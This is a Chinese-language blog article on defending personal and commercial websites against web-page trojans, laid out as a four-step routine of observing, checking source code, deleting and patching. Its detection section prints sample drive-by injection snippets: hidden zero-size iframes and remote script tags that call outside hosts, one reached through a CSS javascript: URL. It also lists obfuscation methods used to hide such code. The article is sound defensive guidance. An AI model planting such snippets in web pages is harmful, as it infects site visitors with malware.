个人(商业)网站安全维护-网页木马防范
simeon
本文已被网管员世界杂志录用
现在国内有许多个人或者公司都建立了网站,网站已经成为日常生活的一部分,而网络钓鱼、网络诈骗、网络盗号等安全问题层出不穷。对于个人(商业)网站安全来讲,其网页挂马危害最大,如今的挂马者主要追寻商业利益,木马程序多是量身订做的,隐蔽性强,危害性大,加上近两年来,许多黑客站点以及网络安全培训的兴起,作为一名“工具”黑客,不需要太多的专业知识,只需要看看录像,学会使用软件工具即可,在这种情况下对于个人(商业)网站的安全维护已经成为网络安全的一个研究课题,本文就个人(商业)网站的安全维护,尤其是网页木马的防范进行了探讨,由于水平有限,不足之处,请多包涵。
(一)个人(商业)网站安全隐患分析
对于个人(商业)网站来讲,其安全主要受制以下一些因素:
(
1
)租用服务器安全。租用服务器安全主要取决于该
ISP
提供商或者虚拟主机等服务提供商自身安全水平。如果该服务器安全无法得到一定程度上的保证,那么个人及其商业网站就无法得到保证。服务器安全主要是指服务器系统设置,补丁更新,防火墙设置,
IIS
安全设置,杀毒软件设置等。
注意:现在有很多个人为了追求商业利益,自己随便整一个服务器然后就开始了虚拟主机等服务,这些服务器的安全性往往很差,因此在找虚拟主机和网站空间时一定要认真选择,考虑综合实力相对较强的,否则服务器老是出问题会影响个人(公司)网络业务的开展。
(
2
)网站程序安全。在服务器保证安全的前提下,程序
Bug
是网站安全的重大隐患。加上不少商业和个人网站采用第三方程序,第三方程序一旦出现安全漏洞,个人和商业网站极易受到攻击。
(
3
)维护安全。维护安全主要是指当程序交付后并正式运行以后,网站需要单独的维护人员进行维护。对于个人网站来说,程序的维护往往通过
Ftp
相关程序上传新的程序文件来进行更新维护。如果
ftp
口令或者数据库口令被泄漏,其风险是不言而喻的。
对于个人或者商业网站,入侵者在入侵成功以后,主要有以下目的:
(
1
)获取相关有用信息。例如获取网站中的注册用户
Email
等个人信息,还有就是有针对性的获取商业信息。
(
2
)作为入侵平台,在网站“挂马”。网站“挂马”是入侵者的惯用伎俩,主要利用操作系统漏洞,通过一些程序生成脚本文件或者网页,放入或者嵌入网站网页中,当用户访问时,木马程序会被下载到本地并偷偷执行。
(
3
)兴趣所致。入侵者或者安全爱好者进行实际技术的演练,或者就是一种入侵爱好。
(二)网站安全维护
以上对个人(商业)网站的安全隐患进行了分析,对于网站管理人员如何来进行维护呢?其实很简单,通过笔者的分析研究,可以归纳为“一看”、“二查”、“三删”、“四堵”。下面分别进行分析。
1
、“一看”主要是指打开网站主页时进行观察。对于初级的挂马者而言,往往通过在网页中加入一段挂马代码。这段代码可能是
js
,可能是
css
,也可能是一段纯粹的
html
代码。其代码可能为以下三种:
(
1
)
<iframe src="http://www.21cnhr.com/inc/about.asp" width="0" height="0" frameborder="0"></iframe><script>
(
2
)
<script src="http://www.bdcrb.com/QQ/1.js"></script>
(
3
)
body { background-image: url('javascript:document.write("<script src=http://www.9xiao.net/9xiao.js></script>")')}
,其中
xiao.js
内容是
document.write("<iframe src=
你的网马
width=0 height=0></iframe>")
说明:现在的杀毒软件也非常厉害,当访问的网站中存在网页木马,杀毒软件会自动查杀的。
如果在网站挂马以后,往往会产生一些表象,仔细观察会发现,在网站挂马以后,如果没有对地址栏进行处理,在用
IE
等浏览器打开时,浏览器地址栏会访问其它地址(图
1
)。
一般情况下是不会访问其它网站地址,这些地址往往就是挂马的地址,而且一些处理不好的挂马代码会导致一些错误提示,该错误提示一般在浏览器左下角以“黄色三角形”标识,双击该“黄色三角形”会显示具体的错误代码(图
2
),这些错误代码有可能是挂马站点未处理好,也有可能是挂马者在挂马时未处理好挂马代码。
注意:对于初级的挂马者,其网页木马源代码可能没有加密,而大多数老手都对网页木马源程序进行了加密,而且极有可能是多次加密。目前网上有很多提供网页加解密的网站(图
3
,图
4
,图
5
),一般来讲有以下一些:
(
1
)通过
Unicode
码的转换实现的加密解密,但经过实验,中文文字太多会导致将你的页面代码膨胀,英文反会有压缩效果。
(
2
)带密钥的加解密
(
3
)
Base64
编码加密,关于
Base64
编码加解密可以参考网页
[url]http://www.dbxk.com/article/article/36/2005-12/20051228170628.html[/url]
以及
[url]http://www.tyhome.com.cn/show_jdyk.asp?id=650[/url]
(
4
)
md5
的加密
(
5
)微软的
Encode
加解密。微软提供了一个专业的网页脚本加密工具。加密时应只加密脚本部分,不加密脚本标记
<script language="javascript">
,并且加密后脚本标记应改为:
<script language="JScript.Encode">
(
6
)
8
进制和
16
进制转义字符串加解密
(
7
)
10
进制和
16
进制
HTML
编码加解密
(
8
)
escape
加解密。
escape()
方法可以处理任何字符串对象或表达式。它返回一个
string
对象。其中所有的非字母字符被转换成按照%××表示的数字,××表示非字母字符对应的十六进制数。
(
9
)
JS
脚本加解密,
Js
脚本加解密有一个做的比较好的站点,大家可以直接访问:
[url]http://dohi.cn/soft/MonyerEn.html[/url]
以及
[url]http://www.hao123.com/haoserver/jmjm.htm[/url]
2
.“二查”主要是查看源代码。当然前面的观察也可以作为“二查”的依据,比如在浏览器访问该网站时,在地址栏中发现网站在访问其它地址,那么该地址可以作为查看挂马所在网页的一个最直接的方法,可以通过
FrontPageXp
等网页编辑工具直接在站点中查找包含该地址的
Html
网页。
注意:在查找时要选择在
Html
中查找。
通过研究分析发现,挂马代码会直接以
html
方式显示,一般用户非管理员可以直接查看怀疑有挂马的网页源代码。方法为:在浏览器中单击“查看”-“查看源文件”就可以通过记事本打开,可以找到挂马代码。其效果如图
6
所示。
3
.“三删”主要是指在站点中删除入侵者加入的挂马代码。对于普通用户来讲,如果发现有人在挂马,可以通过
flashget
、迅雷等下载软件直接下载存在挂马的网页,将挂马网页中存在的文件再次下载下来,然后提交给杀毒软件公司,嘿嘿,入侵者的马儿很快就会夭折。对于网站管理员来说,如果发现挂马,那么说明这个站点或者这个站点所在服务器已经失控,这个时候最好的办法就是使用备份文件重新覆盖,千万记得不要将旧的数据库覆盖新的数据库。好的方法是在覆盖时先将网站文件下载到本地做一个备份,以备不测。
4
、“四堵”主要是指发现挂马后要及时堵漏。网站被挂马说明网站肯定存在漏洞,这个时候一定要仔细分析和检查。一些可以参考的建议:
(
1
)使用明小子的
domain3.5
或者教主的
HDSI
等
SQL
注入软件进行注入漏洞扫描,当代码文件不是很多时,手动检查还可以,如果文件较多时,使用软件相对效果会好一些,而且容易发现漏洞。
(
2
)更换数据库管理员密码。现在很多网站数据库都是采用
md5
加密,网上有大型
md5
在线破解数据库,即使复杂的
md5
密码也是很容易被破解的,因此更换数据库管理密码尤为重要。
(
3
)更换服务器用户及其相关密码。网站跟服务器相比,显然入侵者会更喜欢服务器,毕竟下蛋的“鸡”比“蛋”重要。防止入侵者开放
3389
、根植木马等,当然如果条件允许,建议使用备份文件恢复系统。
(
4
)对服务器做一次完整的安全检查,如果没有进行操作系统的恢复,建议对服务器进行一次完整的安全检查,查看日志、进程、服务、系统文件等。
(三)结束语
我常常在讲,网络安全是相对的,本文也仅仅是抛砖引玉,对网站维护的一个小的方面进行了探讨,作为从事网络安全的我们就应该将安全的东西变成不安全的东西,将不安全的东西变成安全的东西,让我们在网络安全的矛与盾中前进,欢迎致力于网络安全研究的您来与我们一起进行探讨。
本文出自 “simeon技术专栏” 博客,谢绝转载!